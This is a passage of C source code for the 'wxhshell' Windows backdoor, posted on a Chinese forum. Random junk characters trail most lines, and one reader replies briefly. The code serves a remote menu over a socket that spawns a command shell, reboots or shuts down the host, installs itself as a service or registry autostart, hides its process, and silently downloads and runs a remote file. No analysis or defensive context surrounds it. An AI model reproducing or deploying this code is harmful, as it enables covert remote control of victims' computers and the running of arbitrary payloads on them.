  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[[DS%(M^  
  } 'J]V"Z)  
  else { >l 'QX(  
_Z5l Nu  
    switch(cmd[0]) { uVOOw&q_  
  0.|tKetHq  
  // 帮助 sDWX} NV  
  case '?': { _vvnxG!x&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =s1"<hH}O)  
    break; $5cLhi"`  
  } }q27M  
  // 安装 0>Ecm#  
  case 'i': { <;SMczR  
    if(Install()) Alh%Z\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3vmLftZE}  
    else $ShL^g@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -\AB!#fh  
    break; $7M64K{  
    } (!{_O_&  
  // 卸载 /gXli)  
  case 'r': { . |KxQn}  
    if(Uninstall()) -twIF49  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GVn7#0x  
    else ,GZ(>|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yq\)8Fe  
    break; %=\h=\wt  
    } L{'qZ#N[  
  // 显示 wxhshell 所在路径 >0:h(,?V  
  case 'p': { <k/'mBDk  
    char svExeFile[MAX_PATH]; u|9^tHT>  
    strcpy(svExeFile,"\n\r"); rWi9'6  
      strcat(svExeFile,ExeFile); L=4?vs  
        send(wsh,svExeFile,strlen(svExeFile),0); ?nj _gL  
    break; j08|zUe  
    } |5$9l#e  
  // 重启 #y}@FG  
  case 'b': { #j iQa"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tkV:kh< L~  
    if(Boot(REBOOT)) HC}D<FX |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@5&xd_@4  
    else { : bT*cgD{  
    closesocket(wsh); 8r)eiERv  
    ExitThread(0); % NX  
    } #qm<4]9 1  
    break; ks sXi6^  
    } J'^BxN&  
  // 关机 SM! [ yC  
  case 'd': { F)5QpDmqb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1H-R-NNJ:  
    if(Boot(SHUTDOWN)) RYS]b[-xZz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i%LM`8GEk  
    else { ,N <;!6e  
    closesocket(wsh); )Qb1$%r.  
    ExitThread(0); SU2 (XP]5  
    } M+)%gnq`u  
    break; QH~/UnV  
    } $:/y5zi  
  // 获取shell 6SlE>b9tA  
  case 's': { NQ@ EZoJ  
    CmdShell(wsh); T?^AllUZQR  
    closesocket(wsh); nLQ 3s3@1>  
    ExitThread(0); X& O o1y  
    break; z=BX-)  
  } i LK8Wnrq  
  // 退出 l yO_rZT  
  case 'x': { B2WPjhzD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zZki9P   
    CloseIt(wsh); *G>V`||RW  
    break; Qf7]t-Kp  
    } <74q]C  
  // 离开 =@gH$Q_1  
  case 'q': { ?VS {,"X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wC'KI8-  
    closesocket(wsh); 2~Gcoda  
    WSACleanup(); 8X5;)h   
    exit(1); dGP*bMCT  
    break; L.l%EcW=,  
        } C<6u}czA  
  } >:Xzv  
  } /$&~0pk  
a%*W^R9Ls  
  // 提示信息 2frJSV?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )'DFDrY  
} !ssE >bDa  
  } Y?ZTl762  
n?!.r c  
  return; V|#B=W  
} Qaq{UW  
;=*b:y Y  
// shell模块句柄 ) 8st  
int CmdShell(SOCKET sock) zd>[uIOR  
{ ] A9Vh  
STARTUPINFO si; h7[VXE  
ZeroMemory(&si,sizeof(si)); MvL%*("4b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m\"M`o B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r7JILk  
PROCESS_INFORMATION ProcessInfo; 7ABHgw~?8r  
char cmdline[]="cmd"; V\ !FD5%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :4]&R9J>o  
  return 0; g^}X3NUn  
} *z` {$hc  
.Z'CqBr[:  
// 自身启动模式 <u u1e@P  
int StartFromService(void) -NiFO  
{ A{y3yH`#h  
typedef struct 3vQ?vS|2  
{ g0cCw2S  
  DWORD ExitStatus; UyD=x(li  
  DWORD PebBaseAddress; H,:Cg:E/^  
  DWORD AffinityMask; p Ic ;9  
  DWORD BasePriority; *G'zES0x  
  ULONG UniqueProcessId; dm)V \?b  
  ULONG InheritedFromUniqueProcessId; a%Mbq;  
}   PROCESS_BASIC_INFORMATION; K34ca-~  
;# {XNq<1  
PROCNTQSIP NtQueryInformationProcess; FspI[g UN,  
J);1Tpm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rk2ZdNc\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \EUc17  
A9p$5jt7  
  HANDLE             hProcess; c c ,]  
  PROCESS_BASIC_INFORMATION pbi; :==kC672  
] bhzB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P,_GTs3/G  
  if(NULL == hInst ) return 0; *)L%pH>`  
D@>P%k$$s>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j%]i#iqF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s:jr/ j!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fnL!@WF  
|X~T</{8i  
  if (!NtQueryInformationProcess) return 0; V6BCW;   
j 7a;g7.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x%vt$dy*8  
  if(!hProcess) return 0; b0m1O.&I_  
YAC=V?U-#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xO"5bj  
VqVP5nT'=  
  CloseHandle(hProcess); h9>~?1$lz  
wV W+~DJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0O!%NL[,  
if(hProcess==NULL) return 0; W{=>c/  
pOlQOdl  
HMODULE hMod; 3L=vsvO4  
char procName[255]; 0 (@8   
unsigned long cbNeeded; DK*2 d_  
9i,QCA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !@ai=p  
4LUFG  
  CloseHandle(hProcess); pjIXZ=  
< ynm A  
if(strstr(procName,"services")) return 1; // 以服务启动 /D 2v 1  
YOP=gvZq  
  return 0; // 注册表启动 A~h.,<+"  
} + 5sT GNG  
8l+\Qyj  
// 主模块 XZ Z Ml  
int StartWxhshell(LPSTR lpCmdLine) UMx>n18;f9  
{ 'n)M0e  
  SOCKET wsl; <3Co/.VQd  
BOOL val=TRUE; Uu }ai."iB  
  int port=0; ~WR6rc  
  struct sockaddr_in door; afG b}8 Q9  
9t7_7{Q+;  
  if(wscfg.ws_autoins) Install(); SobK<6  
Fg5>CppH  
port=atoi(lpCmdLine); {B\ar+9>  
kp xd+w  
if(port<=0) port=wscfg.ws_port; )h2wwq0]  
_9\ ayR>d  
  WSADATA data; QOy+T6en  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e u^z&R!um  
l'B`f)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QmT]~4PqS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NrNbNFfo  
  door.sin_family = AF_INET; %$!}MxUM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?G0=\U< o,  
  door.sin_port = htons(port); 1UyI.U]  
A;Xn#t ,(K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  p&:R SO  
closesocket(wsl); `Qaw]&O  
return 1; 'WxcA)z0cQ  
} l_>^LFOA  
Le|Ho^h,Y  
  if(listen(wsl,2) == INVALID_SOCKET) { .QRQvtd.  
closesocket(wsl); ran Q_\  
return 1; l)a]V]oQ  
} $MB56]W8  
  Wxhshell(wsl); t9Pu:B6  
  WSACleanup(); ?J%$;"q  
i/-Xpj]Zf  
return 0; 0)yvyQ5  
nd'zO#"m?  
} Vyu0OiGcR  
h+t{z"Ic=  
// 以NT服务方式启动 x_2 [+Ol  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pRPz1J$58  
{ g[q1P:I@W  
DWORD   status = 0; D!TS/J1S;u  
  DWORD   specificError = 0xfffffff; gSL$silc  
:&&Ps4\Sq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qyp"q{k0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T$0//7$')  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,]y)Dy  
  serviceStatus.dwWin32ExitCode     = 0; 0rsdDME[  
  serviceStatus.dwServiceSpecificExitCode = 0; FL/@e$AK  
  serviceStatus.dwCheckPoint       = 0; "9&6bBa  
  serviceStatus.dwWaitHint       = 0; T&w3IKb|}  
4F)z-<-b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .!l#z|/x  
  if (hServiceStatusHandle==0) return; \_De( p  
#wk'&XsC#z  
status = GetLastError(); Z +(V'e;  
  if (status!=NO_ERROR) zw7=:<z=  
{ J0C,K U(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8`U5/!6fu  
    serviceStatus.dwCheckPoint       = 0; $*9h\W-)`Q  
    serviceStatus.dwWaitHint       = 0; Do=*bZ;A  
    serviceStatus.dwWin32ExitCode     = status; ,Hch->?Og  
    serviceStatus.dwServiceSpecificExitCode = specificError; jF_K*:gQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aVM@^n  
    return; K /g\x0  
  } {%N*AxkvId  
|L%F`K>Z:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ke~a  
  serviceStatus.dwCheckPoint       = 0; Ip4CC'  
  serviceStatus.dwWaitHint       = 0; _F;(#D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Xu\Tm\Ux  
} UStZ3A'  
^z "90-V^  
// 处理NT服务事件,比如:启动、停止 5d*k[fZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~+q$TV  
{ (C!u3ke2D  
switch(fdwControl) uG${`4  
{  Ae <v  
case SERVICE_CONTROL_STOP: IgG@v9'  
  serviceStatus.dwWin32ExitCode = 0; n/=&?#m}d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %a{cJ6P  
  serviceStatus.dwCheckPoint   = 0; w`CGDF\Oo  
  serviceStatus.dwWaitHint     = 0; e7{3:y|]d3  
  { *jCXH<?R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( T VzYm y  
  } rgRh ySud  
  return; A+iQH1C0h  
case SERVICE_CONTROL_PAUSE: eeoIf4]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V`l.F"<L  
  break; v,KH2 (N  
case SERVICE_CONTROL_CONTINUE: M9 fAv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rPv+eM" >  
  break; qCc'w8A  
case SERVICE_CONTROL_INTERROGATE: 4IG'T m  
  break; /H:'(W_b;  
}; <q~&g &&+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )67Kd]  
} BBnj}XP*4  
/IxMRi=  
// 标准应用程序主函数 7M<7^)9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) di "rvw;R  
{ V+nqQ~pJ&  
dScit!T"  
// 获取操作系统版本 I o|NL6[  
OsIsNt=GetOsVer(); B=(m;A#G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lw\OsB$  
;E,%\<  
  // 从命令行安装 H/|Mq#K  
  if(strpbrk(lpCmdLine,"iI")) Install(); >wNE!Oa*B  
L @_IGH  
  // 下载执行文件 q-KN{y/  
if(wscfg.ws_downexe) { P2_JS]>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lo,?mj%M  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q6`oo/  
} ^; Nu\c  
QNLkj`PL/  
if(!OsIsNt) { vh"zYl`  
// 如果时win9x,隐藏进程并且设置为注册表启动 >Yl?i&3n  
HideProc(); JrQd7  
StartWxhshell(lpCmdLine); u%Hegqn  
} 6w0/;8(_m  
else Z h)Qq?H  
  if(StartFromService()) $Dxz21|P7  
  // 以服务方式启动 h:Q*T*py  
  StartServiceCtrlDispatcher(DispatchTable); 1Yo9Wf;vP  
else c]P`U(q9TV  
  // 普通方式启动 Zoh2m`6  
  StartWxhshell(lpCmdLine); Be68 Fu0  
RnE=T/VZJ  
return 0; xx)egy_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五